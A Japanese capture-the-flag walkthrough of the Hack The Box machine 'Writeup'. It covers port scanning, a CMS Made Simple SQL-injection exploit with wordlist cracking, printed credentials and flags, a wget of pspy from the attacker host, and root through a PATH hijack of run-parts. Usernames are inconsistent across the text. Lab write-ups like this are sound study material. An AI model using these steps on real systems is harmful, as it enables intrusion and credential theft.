【Hack The Box】Writeup Walkthrough
はじめに
ポートスキャン
# nmap -sC -sV -Pn 10.10.10.138
22(ssh)、80(http)が開いている。
※nmap -p- 10.10.10.138も実行し、ポート検出漏れしていないかも確認。
ブラウザで80番ポートへアクセス
こんな画面。文章を読んでみると、DoSの対策をしていると書かれている。
ディレクトリスキャン
# gobuster dir -u http://10.10.10.138/ -w /usr/share/dirb/wordlists/common.txt -s 200,301,302,403 -t 100
上述の通りDoSの対策をしているからか、エラーが返されて実行できなかった。
robots.txtの確認
nmapの結果でrobots.txtを検出しているので、ここを見に行く。

/writeup/ディレクトリが存在しているようだ。Disallowとなっているが、制御されておらず、アクセスできた。

ソースコードを見てみると、使っているCMSが「CMS Made Simple」だと特定できる。

「CMS Made Simple」のエクスプロイトコード調査
バージョンまでは特定できていなかったが、CMS名で探す。
SQLインジェクションのエクスプロイトコードがあったので、これを持ってくる。
# searchsploit CMS Made Simple # searchsploit -m 46635

user.txt取得まで
python2のvenv上で必要なライブラリをインストールし、使い方を確認。辞書ファイルにはrockyou.txtを指定して実行した。
./46635.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt

ユーザ名:jkr、パスワード:raykayjay9をゲット。
この認証情報を使ってsshアクセスし、user.txtの取得完了。
ssh jkt@10.10.10.138

権限昇格のための情報収集(試したこと)
以下を実行した。
sudo -l find / -perm -4000 -type f 2>/dev/null uname -a
sudoは実行できず、SUIDが設定されているもので権限昇格に使えそうなものはなかったのでunameで出力されたカーネルのバージョン情報からエクスプロイトコードを探した。
searchsploit linux 4.9
Local Privilege Escalationというものが2つほどあったが、バージョン違いなどで使えそうにない。
実行プロセスの調査
続いて、ターゲット上で実行されているプロセスを調査するため、pspyを使う。
32bitOS用と64bitOS用があるが、上記unameの出力(x86_64)より、64bitであることがわかるので、pspy64を持ってくる。
攻撃側環境でpython3のSympleHTTPServerを使って8000ポートで待ち受けて、、、
# python -m SimpleHTTPServer 8000
ターゲットシェル上でwgetを実行。
wget http://10.10.14.11:8000/pspy64

pspy64を実行。
$ ./pspy64
この状態で別シェルからターゲット端末にssh接続すると、接続の度にsshd:[accesptd]以下が実行されていることが分かった。

中身を見ていく。sshで接続すると、まず以下が実行されている。
sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
envコマンドに-iオプションを付与することで、環境変数を継承しない新規の環境を指定している。環境変数PATHを設定した後で、run-partsコマンドを実行しているようだ。
以下のコマンドより、run-partsコマンドのパスを調べると、/bin配下にあることが分かった。
$ which run-parts

ここまでを整理する。
・ssh接続後に実行されるプロセスはUID=0、つまりroot権限で実行されている(pspyの結果より)。
・run-partsは/bin配下にあるため、/usr/local/sbinや/usr/local/binよりも優先度は低い(pspyの結果より)。
つまり、/usr/local/sbinや/usr/local/binにrun-partsという名前のファイルを置けば、root権限で任意のコマンドが実行できるかもしれない。
root.txt取得まで
現在のユーザであるshellyが/usr/local/sbinや/usr/local/binに書き込み権限があるのかを確認する。
$ ls -l /usr/local | grep bin $ id
実行結果より、/usr/local/sbinと/usr/local/binはともにstaffグループが所有しており、書き込み権限があるようだ。
また、shellyもstaffグループに所属しているため、このディレクトリに書き込みができる。
そこで、以下のようなシェルスプリプトを「run-parts」という名前で/usr/local/sbinに配意する。また、忘れずに実行権限も付与しておく。

あとは別シェルで再度ssh接続すると、/usr/local/sbinに配置した「run-parts」が実行され、/tmpにroot.txtがコピーされ、終了。

root.txt取得の別解
root.txtのコピーでなく、/dev/tcp/IPアドレス/ポートで通信先指定をするパターンでもrootのシェルが獲得できた。

user.txt:d4e493fd4068afc9eb1aa6a55319f978
root.txt:eeba47f60b48ef92b734f9b6198d7226